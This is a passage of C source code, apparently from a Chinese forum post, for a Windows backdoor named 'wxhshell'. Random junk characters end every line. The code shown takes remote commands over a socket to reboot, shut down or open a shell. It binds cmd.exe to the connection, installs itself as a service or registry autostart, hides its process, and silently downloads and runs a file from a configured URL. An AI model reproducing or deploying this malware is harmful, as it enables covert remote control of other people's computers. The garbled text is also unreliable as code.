    switch(cmd[0]) { /Os6i&;  
  A9_} RJ9  
  // 帮助 JnIE6@g<y  
  case '?': { `n?Rxhkwp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dt||nF  
    break; ZA+w7S3  
  } .]w=+~h  
  // 安装 K1$   
  case 'i': { F}~qTF;H  
    if(Install()) Bwl@Muw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6UKZ0~R  
    else $a'}7Q_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RJ1 @ a  
    break; IOT-R!.5V  
    } 4$+1&+@ ]  
  // 卸载 `?G&w.Vs  
  case 'r': { J'C9}7G  
    if(Uninstall()) ;-AC}jG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XR_Gsb%l  
    else E?- ~*T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tj4/x7!  
    break; 3O*^[$vM  
    } &u2H^ j  
  // 显示 wxhshell 所在路径 C2{*m{ D  
  case 'p': { T5Iz{Ha  
    char svExeFile[MAX_PATH]; p1UYkmx[  
    strcpy(svExeFile,"\n\r"); (YM2Cv{4  
      strcat(svExeFile,ExeFile); Ao+6^z_  
        send(wsh,svExeFile,strlen(svExeFile),0); `a `>Mtl  
    break; yV*jc`1  
    } |Iknk,  
  // 重启 0^vz /y1c  
  case 'b': { Lpohc4d[V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %xrldn%  
    if(Boot(REBOOT)) 3i1TBhs6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8]mRX~  
    else { B$M4f7  
    closesocket(wsh); 6UI6E)g  
    ExitThread(0); :%_h'9Qq  
    } Vi`P &uPF  
    break; KM"BHaSkF  
    } D-FT3Culw  
  // 关机 S!rVq,| d  
  case 'd': { ,BFw-A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xX|f{)<  
    if(Boot(SHUTDOWN)) ;nrkC\SYh:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t$ 97[ay  
    else { *q"1I9zvT  
    closesocket(wsh); G.r .Z0  
    ExitThread(0); 6l:uQz9  
    } Dn)B19b  
    break; B@v (ZY  
    } #jJ0Mxg  
  // 获取shell ZUD{V  
  case 's': { P?^%i  
    CmdShell(wsh); *j( UAVp  
    closesocket(wsh); nDcH;_<;9a  
    ExitThread(0); h$mGaw vZ~  
    break; PhAD: A  
  } {#~A `crO  
  // 退出 a6@k*9D>  
  case 'x': { jvxCCYXR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &kcmkRRG  
    CloseIt(wsh); R xS{  
    break; E 6+ ooB[  
    } P%ThW9^vnj  
  // 离开 >;lrH&  
  case 'q': { -24ccN;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P_5G'[  
    closesocket(wsh); Cn0s?3Fm  
    WSACleanup(); HQwrb HS  
    exit(1); =d+`xN*  
    break; 0"Euf41  
        } ;66{S'*[  
  } 3-oKY*jO  
  } [)?9|yY"`  
J:J/AgJuH  
  // 提示信息 zJ$U5r/u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <,Pl31g^  
} l[i1,4  
  } [+8*}03  
el\xMe^SY  
  return; ]TJ258P}  
} /E3~z0  
'y5H%I!  
// shell模块句柄 -?l`LbD  
int CmdShell(SOCKET sock) @-Y,9mM   
{ }u8g7Nj  
STARTUPINFO si; @REMl~"D5  
ZeroMemory(&si,sizeof(si)); xs )jO+.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =v0w\( ?N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _Fn`G .r<  
PROCESS_INFORMATION ProcessInfo; ZvLI~ul(zT  
char cmdline[]="cmd"; 'v@*xF/L6a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YI;MS:Qj  
  return 0; `4?|yp.|L  
} >3*a&_cI=k  
~1aM5Ba{  
// 自身启动模式 8)2M%R\THn  
int StartFromService(void) F@HJ3O9  
{ A2p%Y},  
typedef struct C9_[ke[1D  
{ xB]^^ NYE=  
  DWORD ExitStatus; 6oFA=CjU{  
  DWORD PebBaseAddress; oIQ$98M  
  DWORD AffinityMask; #2lvRJB  
  DWORD BasePriority; +=d=  
  ULONG UniqueProcessId; ;U$Rd,T4S  
  ULONG InheritedFromUniqueProcessId; p>f ?Rw_  
}   PROCESS_BASIC_INFORMATION; !]5V{3  
17`-eDd  
PROCNTQSIP NtQueryInformationProcess; ?*[35XUd  
U(Bmffn4Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jl6lZd(Np  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dt>9mF q  
 -PU.Uw]  
  HANDLE             hProcess; gyPwNE  
  PROCESS_BASIC_INFORMATION pbi; B&BL<X r  
rVRv*W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  D F=Rd#  
  if(NULL == hInst ) return 0; gX$gUB) x  
ms\\R@R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6!USSipn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gzy|K%K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]vPdj"7  
MttFB;Tp  
  if (!NtQueryInformationProcess) return 0; %mD{rG9  
Gd'_X D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ic4hO>p&  
  if(!hProcess) return 0; 4@Z!?QzW  
V6h8+|hK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ks %arm&  
r:Q=6j,  
  CloseHandle(hProcess); 3.g4X?=zd  
V#+F*w?&D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VS!v7-_N5  
if(hProcess==NULL) return 0; I~Qi):&x  
_3NH"o d  
HMODULE hMod; 1~},}S]id  
char procName[255]; OF )*kiJ  
unsigned long cbNeeded; [Q\(k d*4  
0LSJQ9\p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D #7q3s  
P2 qC[1hYH  
  CloseHandle(hProcess); *cCj*Zr]  
[ wnaF|h  
if(strstr(procName,"services")) return 1; // 以服务启动 ]=]MJ3_7  
ykH@kv Qt  
  return 0; // 注册表启动 hy@b/Y![M  
} .<xD'54  
yq<W+b/  
// 主模块 [d-Y1  
int StartWxhshell(LPSTR lpCmdLine) R=$}uDFmW  
{ $9xp@8b\_  
  SOCKET wsl; e.#,9  
BOOL val=TRUE; (d* | |"  
  int port=0; QC&,C}t,  
  struct sockaddr_in door; !4<A|$mQ  
tfh`gUV 4  
  if(wscfg.ws_autoins) Install(); 8rFP*K9  
}n#$p{e$i  
port=atoi(lpCmdLine); !&`\MD>;~R  
l<<9H-O  
if(port<=0) port=wscfg.ws_port; *65~qAd  
( z F_<  
  WSADATA data; \hb$v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ts|;5ya5m  
[-81s!#mkw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W^S]"N0u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VR A+p?7-  
  door.sin_family = AF_INET; A/fM30  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S v#,L8f  
  door.sin_port = htons(port); Ul'H(eH.v  
1mR@Bh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 52,'8` ]  
closesocket(wsl); 6D`.v@  
return 1; Y=O-^fL  
} 1CM 8P3  
)q\6pO@  
  if(listen(wsl,2) == INVALID_SOCKET) { KoWG:~>|  
closesocket(wsl); #`l&HV   
return 1; I3izLi  
} +"JWsD(C(  
  Wxhshell(wsl); :f7vGO"t  
  WSACleanup(); iP:^nt?  
_JA)""l%  
return 0; +_gA"I  
gS`Z>+V5!c  
} G `B=:s]  
cWo__EE  
// 以NT服务方式启动 Y?zo")  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <Lt"e8Z>x  
{ rSm#/)4A  
DWORD   status = 0; gQ%mVJB{(  
  DWORD   specificError = 0xfffffff; B<$6Dj%L  
-%K}~4J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &%k_BdlkQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; St> E\tXp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Goy[P2m  
  serviceStatus.dwWin32ExitCode     = 0; z(2G"}  
  serviceStatus.dwServiceSpecificExitCode = 0; #J8(*!I  
  serviceStatus.dwCheckPoint       = 0; 5~(nHCf>  
  serviceStatus.dwWaitHint       = 0; d>c`hQ(V  
[a}Idi` K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F[0~{*/|G  
  if (hServiceStatusHandle==0) return; _F^NX%  
+&J1D8  
status = GetLastError(); bxBndxl  
  if (status!=NO_ERROR) 7 n^1H[q  
{ cS@p`A7Tpo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -Ekf T_  
    serviceStatus.dwCheckPoint       = 0; *"6A>:rQs  
    serviceStatus.dwWaitHint       = 0; =4&"fZ"v  
    serviceStatus.dwWin32ExitCode     = status; ]@}hyM[D;  
    serviceStatus.dwServiceSpecificExitCode = specificError; TC@F*B;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *YX:e@Fm.a  
    return; U2~|AkL  
  } 3O _O5  
1!E}A!;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]=/?Ooh  
  serviceStatus.dwCheckPoint       = 0; Tn(uH17  
  serviceStatus.dwWaitHint       = 0; /+. m.TF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0 N0< 4b  
} O#>,vf$  
:!fY;c?  
// 处理NT服务事件,比如:启动、停止 1]A\@(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "d M-3o<  
{ CDr0QM4k:.  
switch(fdwControl) LcNI$g;}Yf  
{ R? N+./{  
case SERVICE_CONTROL_STOP: Nd@/U c  
  serviceStatus.dwWin32ExitCode = 0; 02(Ob  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c|(Q[=   
  serviceStatus.dwCheckPoint   = 0; $YJi]:3&  
  serviceStatus.dwWaitHint     = 0; wsc=6/#u  
  { AUfcf *  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [;'$y:L=g  
  } !ZCxi  
  return; bX5/xf$q  
case SERVICE_CONTROL_PAUSE: 73{<;z}i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AP4s_X+=  
  break; :`<MlX  
case SERVICE_CONTROL_CONTINUE: T8W^qrx.v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qDfhR`1k  
  break; Z*v`kl  
case SERVICE_CONTROL_INTERROGATE: }>3jHWxLc  
  break; at2)%V)  
}; ?nE9@G5Gc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _(8N*q*w  
}  /7Q9(}  
_6YfPk+  
// 标准应用程序主函数 CwyE  8v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j<9^BNl  
{ *<?KOM  
J%!vhQ  
// 获取操作系统版本 9J<vkxG9`  
OsIsNt=GetOsVer(); jxYze/I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1,we: rwX  
cA| n*A-j<  
  // 从命令行安装 <Skf n`).  
  if(strpbrk(lpCmdLine,"iI")) Install(); xf|C{XV@H  
-KG1"g,2  
  // 下载执行文件 gh `_{l  
if(wscfg.ws_downexe) { ofgNL .u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y 7?q `  
  WinExec(wscfg.ws_filenam,SW_HIDE); o0dD  
} (&_^1  
{7 ](-  
if(!OsIsNt) { g"g3|$#Ej|  
// 如果时win9x,隐藏进程并且设置为注册表启动 ] {0OPU  
HideProc(); N&(MM.\`^  
StartWxhshell(lpCmdLine); H6KBXMYO  
} %.fwNS  
else 5*Dh#FRp  
  if(StartFromService()) 5CH8;sMK  
  // 以服务方式启动 bZj5qjl`x  
  StartServiceCtrlDispatcher(DispatchTable); !QME!c>*$  
else GNW.n(a  
  // 普通方式启动 [8 23w.{]#  
  StartWxhshell(lpCmdLine); 6J cXhlB`  
wX!0KxR/Z  
return 0; SWT)M1O2  
}
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只看该作者 1 发表于: 2006-10-10
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